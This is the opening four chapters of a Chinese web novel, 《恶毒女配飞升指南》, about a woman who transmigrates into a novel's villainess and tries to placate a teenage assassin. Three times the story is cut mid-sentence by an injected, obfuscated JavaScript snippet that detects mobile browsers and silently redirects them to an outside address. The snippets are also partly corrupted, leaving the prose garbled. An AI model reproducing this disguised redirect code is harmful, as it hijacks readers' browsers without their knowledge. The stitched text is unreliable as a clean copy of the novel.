《恶毒女配飞升指南》 1. 穿书 “你这蠢郎中究竟会不会给人看病,我家姑娘都快扎成刺猬了,为什么还没有苏醒的迹象,你在这老花眼别给我姑娘扎坏了!”桃酥端着药碗,掀开帘子看了看病人的面容,咋咋呼呼地吵嚷起来。 老郎中年过六旬,粗布蓝衣,梳着稀疏的发髻,已然汗流浃背,不敢吭一声,只是哆嗦着手一味扎针。 桃酥看得心里着急,恨不得上手替他,“我告诉你啊,我家姑娘要是出了什么意外,你们一家老小就不用活了!连个人都弄不醒,安的什么心跑去当郎中......净赚这黑心钱,没用的老东西!” 正所谓有什么样的主子,就有什么样的下人。 这丫鬟嚣张跋扈,毫无规矩,床上躺着的自然也不是个好东西。 过了半晌,老郎中知晓自己难逃一死,绝望地呻吟了一声,坦言道:“你家姑娘怕是……” 桃酥不能他说完,人急得险些蹦起来,咬牙切齿道:“你说什么!” 老郎中已经尽了一个医者的责任,缓缓摇了摇头,无力道:“你家姑娘她……”方才就已经断气了。 此时此刻,神仙怕是都无力回天。 “你这快散架的老瘦狗,诚心祸害我家娘子是不是!”桃酥顿时红了眼眶,搁下药碗扑到榻前泣不成声,“姑娘你可不能死啊——” 谁死了? 崔白玉头疼欲裂,胸口更是喘不过气来,还未睁开眼就下意识拎了一下身上的重物。 桃酥感觉有人从后背摸她,从痛哭中回神,眼前一亮,激动道:“姑,姑娘你醒了!” 崔白玉艰难的睁开眼,微微皱了一眉头。 房间宽敞明亮,地上铺着的暗红色的织锦地毯,雕花大床挂着淡粉色的轻纱床幔,床顶四角挂着精巧香囊,所有的家具和装潢古香古色。 她坐在床榻上,默默接收信息。 随后有些难以置信,又将房间仔细地打量一遍,问道:“你是谁?” 见此情形,老郎中猛然一惊,凳子没坐稳,哐当一声,摔倒在地上。 桃酥顾不上他,小心翼翼地观察着崔白玉的神情,轻声开口道:“姑娘你不记得我了?我是桃酥啊!” 崔白玉深吸一口气,努力表现的不是很慌乱,“在拍剧?” 桃酥眨了眨眼,意识到不对,转身看向老郎中,“你这废物,怎么把我家姑娘治傻了!来人,去把崔九叫来,把这个不中用的蠢货杀了!” 崔九......崔白玉将名字在心里默念了几遍,不等整理完思绪,门口传来脚步声。 她莫名头皮一紧,猛然抬起头。 屋里走进来一位约莫十四五岁的少年,面貌端正,眉目乌黑,很瘦也很高。 两人四目相对,崔白玉身着中衣,长发披肩,双手撑在床沿,如受惊猎物一般缩回身子。 她面色变得十分僵硬,心脏也跟着重重一跳。 眼前的少年脸色苍白如纸,静静地站在门口,脊背挺直,望过来的眼神,冷漠而深邃,眼睛里布着血丝,让屋中所有人都感受到了压迫感。 崔白玉能清楚的感受到那股阴森森的杀意,紧紧抿了抿唇。 直觉告诉她,这个人很危险。 老郎中浑身筛子似的抖动,恨意很快淹没了恐惧,朝着崔白玉质诘,“崔白玉,你以为有兄长撑腰就可以为所欲为吗?杀人偿命,善恶有报,你恶事做尽,早晚是要遭报应的!” 屋子的气氛瞬间变得可怕,崔白玉的头发散了几缕下来,落在脸颊,整个人看起来极为虚弱,“送郎中回去吧,我没事。” 桃酥还以为是听错了,愣了一下,问道:“姑娘就这样放过他了?” 你还想怎样啊? 崔白玉心力交瘁,低头看着那双不属于自己的手,用力地闭了闭眼睛,“让我一个人待会儿。” 她得捋一捋眼前的情况。 桃酥重重地点了点头,认真道:“姑娘的意思,奴婢都懂。” 想来是要一个唱红脸一个唱白脸,恶人有她来当,人要悄悄杀! 崔白玉闻言一头雾水的看着她。 桃酥自信回头,狠狠地瞪了一眼崔九,扬声道:“把人拖下去。” 崔白玉看着架势就不对劲,关上门的那一刻又把门推开了,“桃酥,把人平安送回去。” “啊?”桃酥一脸震惊,心想:这还是她那个蛇蝎心肠的姑娘吗? 老郎中冷然一笑,立在门口拍了拍腿上的灰尘,瘸着腿一小步一小步的往前走。 崔九站在台阶上,一言不发。 桃酥注意到他的视线一直盯着崔白玉,顿时心生嫌弃和厌恶,“看什么看,一身血腥味儿,别呛着姑娘,这可不是你能觊觎的人!” 崔九收回视线,微微转过身。 “既然做错了事,乖乖认罚就好,反正跟着姑娘肯定比跟着那个姓苏贱人强,所以你就别想着回去了......还有,你也不用不甘心,那个姓苏的就是不要你了,所以才将你卖过来,而且她只要了五十两银子,我家姑娘出手阔气,还多给了五十两呢!”桃酥看他背上皮开肉绽的伤口,说得愈发心虚,“姑娘只是讨厌那个姓苏的,所以让她染指的人,姑娘自然也不喜欢,你挨这三十鞭子,姑娘只是宣泄一下火气。” 崔九脸上没有什么表情,捻了捻藏在手心的刀片,又回到了柴房。 脚步悄无声息,无人察觉异常。 崔白玉感到一阵窒息,双腿酸软,无力地靠在门板上,听完全部,出了一身冷汗。 崔白玉,崔九...... 难怪觉得耳熟,这不就是她醒来前看的一本言情小说吗? ......她居然穿书了。 崔白玉深一口气,侧过头,借着窗户缝看了一眼走过去的崔九,渐渐回想起书中的一些设定和剧情。 原著小说叫《为君折腰》,是一对结婚多年且孕出一子的夫妻,因为种种误会分道扬镳,结果男主突然觉醒抛弃身份追妻示爱。 在这段故事里,崔白玉正是从中作梗的恶毒女配。 在书中,女主苏有枝嫁到崔家完全就是因为父亲含冤入狱,她必须找到一个稳妥的靠山。 可大婚当日,男主崔琅华为照顾作妖落水的妹妹崔白玉将苏有枝留在洞房一整夜,生出不少误会。 而后,苏有枝心灰意冷,三年卧薪尝胆,在崔白玉的冷嘲热讽下,一直兢兢业业打理家业,不仅成功诞下一子,还帮父亲洗清冤屈。 夫妻两人心中有隔阂但日子也能将就着过。 直到有一日,苏有枝救回崔九,崔白玉趁机造谣二人有奸情,此后便一发不可收。 起初,夫妻二人分房,后来干脆换了个院子。 崔白玉眼见二人关系破裂,于是,更加肆无忌惮在暗中不断挑拨离间,苏有枝在听信了崔白玉的话,以为崔琅华心有所属,狠心提出和离。 崔琅华不同意,也没放在心上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142948|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 之后不久,崔白玉又发现苏有枝曾经喜欢过当朝太子,也就是自己的心上人。 不但夺走了自己的哥哥还想抢走自己的心爱之人,崔白玉开始变得更加丧心病狂,决定在宴会给太子下药。 不过这个睡在一张床上的计划并未得逞,崔琅华中途发现并拦了下来。 面对接连不断的误会和争吵,苏有枝决定离开崔府,为自己活一次。 那日,她在崔九帮助下成功逃离崔府。 崔白玉听闻消息立即派人暗杀苏有枝,不曾想,此举让苏有枝阴差阳错假死逃离了。 而现在这个节点,正是兄长崔琅华离开京城寻找苏有枝,崔九留在京城调查凶手。 天崩开局。 崔白玉写出了大概剧情,默默搁下了笔。 她觉得无论如何都洗不清自己。 苏有枝家道中落的时候,她联合各大商贾逼她还钱。 苏有枝救回崔九的时候,她造谣人家有暗中苟合。 苏有枝拒绝太子心意的时候,她冒名顶替约会太子。 ....... 这都到最后一步了,她穿过来有什么意义? 在书中,兄长和苏有枝回京后就是崔白玉的死期,届时,种种罪行大白于天下,哪怕是疼爱她的兄长都护不住她。 还有不到半年的时间。 崔白玉一想到自己的结局是被人挖掉心肝,活活折磨死,整个人都是汗毛倒竖。 不过,等剧情结束,她是不是就可以穿回去了? 崔白玉提起笔,在这一行前面画上了着重号,继续整理思路。 事到如今,眼下最为重要就是防备崔九。 苏有枝下落不明,崔九作为痴情男配一定会采取措施。 可原著里崔白玉是怎么防备的身边的崔九的? ......好像完全没有交代。 崔白玉明显地感觉到自己的心在怦怦直跳,闭了闭眼,让自己平静下来。 崔九是典型的深情忠犬人设,一直以来,他都默默无闻的在苏有枝身后,只有在关键时候救助女主和保护女主,几乎不走剧情,所以没什么记忆点。 全书里最大的争议的就是他对女主到底是不是喜欢。 毕竟,两人完全没有任何亲密接触,也不曾表露过心意,而且他曾经在鬼市靠杀人为生,几乎没有任何情感,是所有人眼中的异类。这样的一个人,究竟能否爱上女主,能否被女主感化? 这是所有人心中的疑问,可惜书中完全没有交代,他的结局就跟他的身世一样,彻底成了谜团。 谜团,这个就是最大变数。 原著的剧情结束了,可他们的故事并没有停留在美好的那一刻,他们还在继续往下走。 崔白玉手撑在额头上,眉眼微垂,在纸上写了崔九的名字,盯着看了片刻,松了一口气。 苏有枝在离开前将他送走,只是希望他能远离危险,过上正常人的生活,她没想到,带走她的人是崔白玉。 而崔白玉带他回来,完全是因为她是想让崔九去当杀人工具,铲除所有敌人。 或许,她可以试着拉拢一下崔九。 思及此,崔白玉站起身,随手披了件衣服走出屋子,“崔九在哪?” 桃酥侧身指了指院子门口,道:“姑娘早上刚抽了他三十鞭子,这会儿应该在柴房反省。” 崔白玉下台阶时,一个踉跄,险些跪下去。 2. 崔九 崔九应该不是他真正的名字。 按照书中的描写,他是因为性格诡异,被人弃养丢在鬼市自生自灭,而在鬼市藏匿的人,都是见不得光的逃犯和穷凶极恶之徒。 寻常人在此都难以活下来,一个孩子想要在那种地方活命,需要面临的困难可想而知。 可崔九从小就开始做杀人越货的生意,杀人无声,能在众目睽睽之下,轻易夺人性命,也可以在静谧的黑夜,悄无声息割下头颅。 在出来之前,他甚至都没有名字,而大家提起他却都感到不寒而栗,只叫他的绰号刀下鬼。 当然,刀下鬼自然不是什么好话。 这里面除了恐惧,还有诅咒,他的刺杀目标都成了刀下之鬼,无一存活,可杀的人太多,早晚会遭到反噬没了人性,落得和那些刀下鬼一样的下场。 崔九性情冷血残暴的一个人在书中走的却是痴情人设,相较之下,反差很大,很刺激,但也太过单薄。 崔白玉停下脚步,缓缓推开门,抬头迎上少年的目光。 房中一片静谧,崔九似乎知道她来,已经穿好衣服,只是脚边的那盆血水和缠在身上的布带没来得及处理。 血腥气钻进了崔白玉的鼻子,不由得皱了一下眉。 桃酥跟在后面,看到他伤得这般重,有些于心不忍,“姑娘,还要罚他?” 崔九因为身上的伤额间生出薄薄一层汗,但这并不妨碍他动手,他暗淡的瞳孔微微转动,目光落在崔白玉脖颈的动脉。 剎那之间就可以拧断。 崔白玉颤了颤睫羽,攥紧手指,平复了一下情绪,恢复了一向清冷作派,“桃酥,给他换个房间,再请人来看看他的伤口。” 崔九垂眸遮住眼里的阴翳,还是面无表情的一张脸。 崔白玉见他避开视线,舔了舔唇,和他保持距离的同时也在偷偷打量他。 崔九本人长得很好看,比书里描写的不知好看多少倍,像是被精心雕刻的艺术品,只是神情过于冰冷和警惕,窥不到内心深处一点情绪波动,让他有种说不清道不明的危险。 崔白玉道:“你今年多大了?” 崔九闻言,抬起头紧盯着她的眼睛,像是在审视。 桃酥不明白姑娘为什么突然善待崔九,脑子一时间有些转不弯,想着凶就对了,她色厉内茬道:“姑娘跟你说话呢,你聋还是哑!” 崔白玉:“......” 桃酥,你这样子活了不久啊。 崔九不为所动,鼻翼轻轻鼓动着,继续低下头凝望着她,完全没把桃酥的警告放在眼里。 崔白玉想明白了,崔九不想跟她说话,也不想看见她。 而且她站在崔九面前毫无威慑力,打个巴掌再给一个甜枣,对他更是丝毫不起作用,如果他动了杀心,她倒是随时可能丧命。 崔白玉觉得脑仁疼,背脊生寒,暂停了利益诱惑的计划,转身离开屋子。 可就在此时,嘶哑而又压抑的声音钻进她的耳朵里,心尖有些发颤,寒意也一寸寸往她肌肤里渗。 “你想让我杀曹怡?”崔九开口道。 崔白玉一惊,完全不知道这件事,转头看向桃酥。 关于这个人她没有任何印象,估计是个炮灰。 桃酥回想刚才崔白玉醒来就不太正常,这会儿竟然连情敌都忘了,“曹怡要被太子纳为侧妃了。” 太子赵呈......万花丛中过片叶不沾身,哪怕三妻四妾,却也唯爱女主一人的浪荡子。 崔白玉扶额,心中产生了疑问。 书中的曹怡死了吗?打乱书中的剧情,她还可以穿回去么? 她道:“再说吧。” 计划赶不上变化,总会有意料之外的事发生,目前来讲,只能走一步看一步。 崔白玉离开昏暗的柴房,松下了紧绷的神经,转头望着院中栽种的白玉兰,伸手接住飘落下来的花瓣。 这是原主最喜欢的花,花瓣静谧洁白,清雅高贵。树枝经过修剪,院中花香四溢,看得出来,这棵树原主一直在用心经营。 阳光透过浓密的树梢洒下光斑,崔白玉在旁看了一会儿,风吹得厉害些,便拿着花瓣回到房间。 “愣着干嘛,姑娘让你做什么就做什么,赶紧收拾东西啊!”桃酥手捏着鼻尖,厌弃地看了一眼崔九,转身去请郎中。 崔九处理完柴房的血迹,右肩的伤口隐隐有再度裂开的趋势,拎着一个包袱就去往院里西北角的一间厢房。 几位下人见他走过来,一脸晦气,往后退了几步,“二姑娘怎么让他搬过来了?早上亲自抽了鞭子,这就心疼了?” 在他们眼里,崔九就是人人厌弃的野狗,上桌吃饭都不配。 老嬷嬷放下手里扫帚,轻蔑道:“心疼?你觉得咱们二姑娘是个会疼人的?” 此话一出,大家纷纷摇头,“这倒是了,我还从未见过二姑娘可怜过人呢。” 崔白玉自小无父无母,这么些年来,只有一个兄长可以相依为命,她唯一心疼过的人,大概只有她的兄长崔琅华。 过了半晌,桃酥拎着裙子跑回府,眼睛哭得和兔子一样,委屈道:“姑娘,奴婢去请郎中了,但他们都不愿意来!” 崔白玉恶名昭彰,再加上老郎中回去后就病倒了,这误会自然而然就大了。 桃酥吸了吸鼻子,眼睛泪汪汪的,“怎么办啊?” 这就是作茧自缚,崔白玉用力地舒展了一下腰身,从床榻上爬起来,叹了口气,“府中应该有创伤药吧?” 桃酥点了点头,“有的。” 崔白玉道:“去拿吧,顺便把崔九叫过来。” 坦白讲,她孤身来到这里,心里还是很发怵。 尤其是一个常年生活在国外,完全没有历史文化积累的人来到这里,这是个致命的打击。 她现在打开书册都不识字,一篇文章看下来,连大概意思都读不懂,没有什么比这件事更让人绝望了。 残酷的现实摆在她面前,崔白玉想了半天,只找到了两条路。 一是苟活到大结局,顺利穿回去。 二是逆天改命,不过,这个不太现实。 崔白玉权衡许久,还是选择方案一,保命即可。 但她一个人完成还是很困难,她需要帮手,一个桃酥,一个崔九,这两人必须留在身边。 “姑娘,奴婢把人给你带来了。”桃酥端着托盘进屋,轻轻放在桌上。 崔九走到屏风后面,见崔白玉走出来,一双淡漠的眼睛看向她。 刀片,金创药,细布,准备的还算齐全,崔白玉点了蜡烛,无奈道:“郎中不愿意来了,将就一下,把衣服脱了。” 把衣服脱了...... 桃酥听言,前脚刚迈出屋子,后脚还未来得及抬,扑通一声摔在地上。 姑娘,这是看上崔九了?想发生点什么。 气氛空滞了一瞬,崔九神情冰冷,眼神如死水一般无波无澜,只有手指微微动了一下,似乎在思考要不要现在就杀了她。 对于迎面而来的杀意,崔白玉紧张地咽了咽口水,竭力控制了情绪,解释道:“......我为早上犯下的错误负责,没有其他意思。” 桃酥狼狈起身,尴尬地点了点头,没察觉崔白玉的异常,恭敬地关上了房间的门。 很明显,崔白玉想占取主动权,但表现的很不自然,崔九像一只被侵犯了领地的野兽,俊美的脸上阴郁一片,目光锐利且冷得彻骨,“为什么?” 空气安静得可怕。 崔白玉努力调整她的说话方式,“......我误会了你和苏小姐的关系,你们之间是清白的,我很抱歉,因为妒忌苏小姐将脾气发泄到你身上,我为早上的行为深感歉意,你现在伤的很重,我想为我的错误做出弥补。” 她这辈子都没想到,会有人什么都不做,只是站在她的面前就会让她感到恐惧。 崔九面不改色,往前走了一步,盯着看了半晌,退开一步,脱下外衣,露出皮开肉绽的后背。 崔白玉知道他这是同意了,小心翼翼的去拿刀片放在烛火烧了片刻。 按理说,原身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142949|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个柔弱女子,几乎没干过重活,抽人三十鞭子根本不可能把人伤的这么重,但她居然是拿荆棘条抽打,血肉模糊的后背甚至还有尖刺残留。 而他的皮肤常年不见光,有一种异于常人的白皙,衬得血肉模糊的伤口格外狰狞。 崔白玉深吸一口,对书中的恶毒女配有了新的认知,同时也对自己未来充满了担忧。 经此一遭,崔九真的会原谅她吗? 崔白玉拿了一块干净的细布浸泡温水,拧干后轻轻擦拭着他背上的血迹,手止不住的发抖,“你忍一下。” 她没有处理过这么严重的伤口,上手还是有些生疏。 崔九垂落在肩侧,好似感受不到疼痛,忍她擦拭,哪怕失了力道,也没有任何反应。 不知过了多久,看血迹擦拭的差不多,崔白玉去梳妆台找来绣花针,烧了片刻,抬手按在他的肩头,将血肉里的尖刺,一根根挑了出来。 有的尖刺埋得极深,需要按住外翻的皮肉,把针扎进去,然后带出尖刺。 她动作小心细致,可鲜血还是沿着指缝慢慢淌下,血腥味愈发浓郁了,崔白玉过不了心里这关,收回手,闭上眼慢慢平复心绪。 崔九回头看她。 崔白玉睁开眼对上他的视线,不由地漏了一拍呼吸。 继续埋头处理伤口。 过了一会儿,好不容易拔出全部尖刺,她将药粉不要钱似的全部倒在细布和伤口上,期盼着金创药能起到一点镇痛的效果。 崔九看着桌上的尖刺,抬手拿了一个继续打量。 崔白玉不明白他想干什么,双手环过他的腰身,不敢有任何接触,轻声开口,“抬一下手臂。” 崔九一言不发,但很配合。 待伤口包扎完毕,崔白玉出了一层薄汗,彻底松了一口气,转身去铜盆,洗了一下手,顺便也洗了一下脸。 崔九凝视着她慌乱的背影,放下手里的尖刺,站起身慢吞吞地穿好衣服。 天色渐渐暗了,细密的雨丝淋淋漓漓从屋檐落下,一阵湿冷的寒风吹了过来。 崔白玉清醒不少,顿时又有些后悔。 在古代,沾衣裸袖视为失节,更何况孤男孤女共处一室一个多时辰,她做的这些已经超出了古代女子的规范。 不过,崔白玉恶名昭彰,应该也不差这个了。 她尽量平缓语气,装作平静的样子,“一会儿让桃酥去医馆抓药,先下去吧……我希望你能留下来养伤。” 原著里,崔白玉抽了他三十鞭子后,就在再也没找到他。 两人完全没有任何交集。 崔九站在原地,没有回应。 完全是个三棍子打不出来个屁的主,崔白玉实在是拿不准他的想法,又继续试探着说:“……我想跟你交个朋友,对于之前发生的事我一定会做出弥补,你有要求可以尽管提。” 沉默了一阵子,崔九收敛了目光,道:“有人雇佣我来杀你。” 崔白玉脑中轰然一响,转头对上他的视线,惊慌失措下,接连后退了几步,哐当一声,她撞到了身后的铜盆。 崔九走到她面前,俯下身贴近她的脸,目光梭巡着,确认了一下是否是人皮,将匕首抵在颈侧,“你是谁?” 那张脸近在咫尺,崔白玉屏住呼吸,双腿一阵阵的发软,稍微动了一下,脖颈瞬间擦出一道血痕。 他居然已经看出自己不是崔白玉。 可他们才相处多长时间? 崔九没动,还在等她解释,但眉间眼尾又笼罩了一层冰霜。 房间陷入死一般的寂静。 崔白玉颤抖着深吸了一口气,“我就是崔白玉……如果你想找苏小姐,我可以告诉你她在哪,她还活着。” 坦白的下场一定是被人当成疯子,架在火堆上焚烧,她怎么可能承认。 崔九并不相信她的话,思索片刻,收回了匕首。 直到他离开的房间,崔白玉一下子瘫坐在地上,面色苍白,鬓角细汗流下,十分狼狈。 崔九随时能杀了她,不能留在这里了。 3. 偷盗 自那日起,崔白玉连着五日都没走出房间,完全处于一个吓自闭的状态。 算起来,崔九今年不过才十五岁,她作为长辈,居然会被吓得瘫在地上。 这太可笑了。 崔白玉挣扎了半天,还是一头倒在床头,觉得这张老脸不必拿出去见人,索性又睡了一个回笼觉。 大约过了一个时辰,到了午饭时间,桃酥站在门口轻轻叩了两下门,柔声道:“姑娘,该用饭了。” 崔白玉闻声伸了一个懒腰,扣好对襟青衣的扣子,坐起身让人赶紧进来。 桃酥摆好丰盛的午饭,站在一旁等崔白玉过来。 “坐在一起吃吧。”崔白玉起来喝了口茶水,看着桌上的午饭愈发觉得桃酥是个贴心的人。 桂花汤,豆腐皮包,糖醋鲤鱼,菱粉糕......竟然全是喜欢的。 崔白玉对食物挑剔的很,不喜欢的东西一口都不会吃。 她不吃猪肉,不吃胡葱,不吃动物内脏,不吃炒熟的萝卜,葱花香菜大蒜也不吃,很少有人能受得了她。 桃酥拒绝了几次,但崔白玉执意如此,只得坐在她身旁略显局促,拿起筷子也不敢夹菜。 崔白玉笑了笑,“你想我一个人吃完这么多菜?” 桃酥犹豫片刻,眨了眨眼睛,小声嘀咕道:“姑娘,你是不是让什么怪东西上身了?” 脾气暴,性子也直,倒也不是坏处,崔白玉放下了筷子,好似漫不经心的问道:“我很反常吗?” 桃酥点了一下头,低头掰了掰手指头,如实道:“姑娘之前很少给下人好脸,饭都不让吃饱,更别说上桌吃饭了,而且姑娘很怕血,平时绣东西,手上冒出血珠都忍受不了,崔九那日伤的那么重,血到处都是,姑娘居然没害怕。” 当然了,她没提崔白玉打骂下人,横行霸道,蛮不讲理之事。 崔白玉无声叹息了一下。 其实就算桃酥不说,她也能感觉到,府上的人对她都是噤若寒蝉。 “那日落水险些丢了性命,醒来之后,我便觉得觉有一种生命的重生,人生转瞬即逝,何必过分执着于得失?我早就应该放下对过去的怨恨和执着,找回真正的自己,正所谓浮生若梦,为欢几何?我不敢奢求太多,只希望自己下半辈子能平安顺遂,做个饮食男女,亦是好的。” 崔白玉大言不惭,说得自己都快信了。 桃酥听得懵懵懂懂,过了一会儿睁大眼睛,好似大彻大悟一般,“原来如此,姑娘想开就好,奴婢这几日担惊受怕的,都想找道长给姑娘瞧瞧了。” 崔白玉“唔”了一声,抿了一口桂花汤。 觉得找道长这是一个不错的思路。 气氛松快不少,桃酥用另一双未用过的筷子给她夹菜,“姑娘太瘦了,多吃些。” 话音刚落,突然屋外传来一阵急促的脚步声。 李妈妈拎着裙摆,冲进院里,大声嚷道:“二姑娘,奴婢举报崔九偷东西!” 桃酥看了一眼崔白玉的脸色,起身走出房间,“发生了何事?” “崔九,崔九品行不端,他偷走了奴婢的月钱!”李妈妈跑出了一身汗,急得跺了一下脚,“二姑娘,你可要为奴婢做主啊,奴婢的儿子还得用这钱去学堂呢,可不能没有这笔钱啊!” 自苏有枝离开崔府,这群下人就格外喜欢生是非,桃酥见怪不怪,耐着性子问道:“你凭什么认为是崔九偷了东西?” 李妈妈哭得肝肠寸断,弓着腰大口喘气,缓了好一会儿才说出话来,“奴婢岁数大,但也不至于傻了,前阵子刚发的月钱,奴婢记得清清楚楚,就是放在了柜子底下,结果翻了整个屋子都没有那笔钱,奴婢问了一圈,王妞和素香都说没看见,可这钱没人拿,又怎么会不见了,二姑娘,奴婢是贫苦人家,没了这银子,就跟没半条命没什么分别!” 居然有种似曾相识的感觉,桃酥觉得这事不对劲,又问了一遍,“为什么是崔九?” “有人看见了啊,昨天夜里,有人看见崔九鬼鬼祟祟的从房间里出来,对,王有财,是王有财起夜的时候看见崔九跟鬼魅似的在院外头游荡!”李妈妈又怒又恨,越说越激动,眼睛都急红了,“他这个人总是去无影来无踪,定然是他偷偷潜入下人房中偷走了奴婢的月钱!” 崔白玉听着外面的吵嚷声,不紧不慢的在梳妆台挑了一把称心的团扇,缓缓走出屋子,吩咐道:“去把崔九叫来。” 桃酥看到她,突然就想起了什么,倒抽一口凉气,“姑娘!” 这件事不能查啊! 李妈妈看着她的目光很急切,不像做假。崔白玉狐疑道:“怎么了?” 当着众人面,桃酥支支吾吾的,扭捏了半天没说出话,李妈妈以为她要包庇崔九,又哀嚎了一嗓子,“二姑娘你可要为奴婢做主啊!那可都是奴婢的血汗钱啊!” 崔白玉后背抵着门框,愈发好奇。 很快,崔九出现在崔白玉的春华堂。 崔白玉面若桃花,明眸流转,捏着团扇放在胸前,抬头看向崔九,“你偷了东西?” 崔九道:“没有。” 李妈妈激动道:“分明有人看到你行窃,你还敢否认?” 崔白玉道:“当时为何出现在东厢房?” 崔九神色冷淡,沉默不语。 崔白玉挑了一下眉。 李妈妈这一闹引来不少下人围观,桃酥用手绞着衣袖,脸涨得通红,恨不得找个地缝钻进去,低声道:“姑娘这事,我们进去说吧。” 崔白玉心想有什么事需要关上门说。 过了一会儿,桃酥安抚好李妈妈和院门口的下人,进屋后戒备地看了一眼崔九。 此时正是拉拢关系的好机会,崔白玉淡然道:“大家都是朋友,不妨事,你直说就好。” “这……”桃酥抿了抿唇,视线一直在崔九和崔白玉之间徘徊,半晌才说出口,“......李妈妈的钱是姑娘让奴婢偷的。” 她话音越来越小。 崔白玉脸颊传来阵阵疼痛,果断看向崔九,“你先下去……你们都下去。” 弄了半天,罪魁祸首居然是她自己。 老天爷在跟她开玩笑么?她就想不明白了,崔白玉根本不缺钱啊,暂且不说私吞了苏有枝一大半的嫁妆,她不是还有兄长每月送钱? 偷老妇人的十两银子算什么? 崔白玉感觉自己越来越不是人了。 桃酥出门前停下脚步,想让她别再纠结这些事,“对了姑娘,昨天祁老夫人递来请柬,邀姑娘去东校场看马球比赛,太子也去。” 崔白玉点了一下头,想起自己还有所剩无几的良心,“一会儿把钱还回去,就说……就说院里进贼了。” 桃酥道了一声好,继续说:“姑娘下午要去马球场?” 崔白玉嗯了一声。 院里躲着也不是回事,她得出去打探一下风口……或者趁机逃跑。 东校场距离崔府有一个时辰的路程。 春光明媚,和风阵阵,街道两旁店肆林立,商贩错三落五搭起席棚叫卖,各种小吃琳琅满目,热闹极了。 崔白玉掀开马车上的帘子往外瞧了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142950|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顿时生出几分向往。 ......如果不是这个身份,穿到这里也挺好的。 桃酥笑道:“姑娘再忍一忍,这次马球比赛是祁家操持,祁家乃是当今四大世家之一,排场绝对小不了,而且奴婢听说今日京城有头有脸的少爷千金差不多都会到场,姑娘可以多结交朋友。” 崔白玉想了想,问道:“都是哪家小姐跟我交好?” 桃酥摸了摸鼻子,尴尬道:“嗯……姑娘以往去都是去结仇的,没有什么交好的人。” 处处结仇对自己真的有好处吗?崔白玉淡然一笑。 还好她对原主已经不抱希望了。 桃酥干咳一声,“不过,太子殿下也去,姑娘可以抓住这次机会,跟太子殿下传达心意。” 崔白玉伸了伸腿,身子微微后仰靠在软枕上,“桃酥,我已经不是昔日的我了。” 原著的结局,太子倒台死得好不凄惨,天子脚下混日子,最讲究投鼠忌器,此时还是不要沾上关系的好。 桃酥没听懂,琢磨了一会儿,又问道:“姑娘,你为何不追究崔九的事?” 崔九住在院子的西北角,半夜三更出现在东厢房,这太可疑了。 崔白玉眉心蹙起,无意识的转了转手里的团扇,“这几日他在崔府吗?” “不在,厨房每天都准备了他的饭,但他一次都没吃过,只有今天才看到他的身影。”桃酥顿了片刻,“姑娘,奴婢能问一下吗,姑娘为何要留崔九在府中,当初苏有枝留他在府中,好歹也当个侍卫,现在姑娘把他买过来,他也不保护姑娘啊。” 保护?只要不杀她。 她就谢天谢地了。 “花了冤枉钱呗。”崔白玉阖上眼休息。 半个时辰后,马车停了下来,崔白玉整理一下衣物,由两个丫鬟上前引路进入校场。 然而还未等她落座,身旁忽然有人阴阳怪气,“诶呦,今儿这是什么风把崔二姑娘吹来了。” 崔白玉寻声抬头,看见一位女子正在打量她,桃酥知道她这几日记性不好,立即凑到耳边小声解释,“上次在胭脂店,姑娘说她长得太着急……” 崔白玉淡淡一笑,慢条斯理地坐在椅子上,寒暄道:“相逢即是缘分,姐姐何必跟我一个小辈见识。” 女子朝她翻了一个白眼,“谁是你姐姐,我比小了整整两岁,你胡诌什么!” 崔白玉并不尴尬,只是继续揶揄道:“原来是妹妹,是我眼花了。” “跟你这种人待在一起真是扫兴,真不明白老夫人为什么要把你请来!” “棉棉别生气,你何必跟她计较,全京城的人都知道了她是个蛇蝎心肠的毒妇,跟这种人置气最不值当了。” “是啊,十五岁还没把自己嫁出去,以后怕是也没人要了,你只当被狗咬了一口罢。” 崔白玉听着她们讲话,不到一会儿的功夫就把这里的人都观察一遍。 崔琅华是昌平十五年间的状元,祁老太傅祁韫之的得意门生,现任命吏部右侍郎兼太极殿大学士,皇上眼前的红人。 作为崔琅华的妹妹,她坐的位置不算偏。 不到一炷香的时间,坐席很快就坐满。 一群小姑娘们精心打扮过,在坐席间互相厮认,皆是一派少女风姿。 崔白玉孤零零的一个人,从茶桌上拿了个柑橘。 而后背后突然有人靠近,往她手里塞了一张纸条,低声道:“想活命就去见他。” 崔白玉蓦然回神,看着离开的丫鬟,没忍不住骂了句脏话。 操。 4. 戏弄 命运掌握在别人手中的滋味并不好受。 崔白玉最不喜的就是受制于人,谁都不可以。 她深呼一口气,努力调整情绪,随后离开坐席。 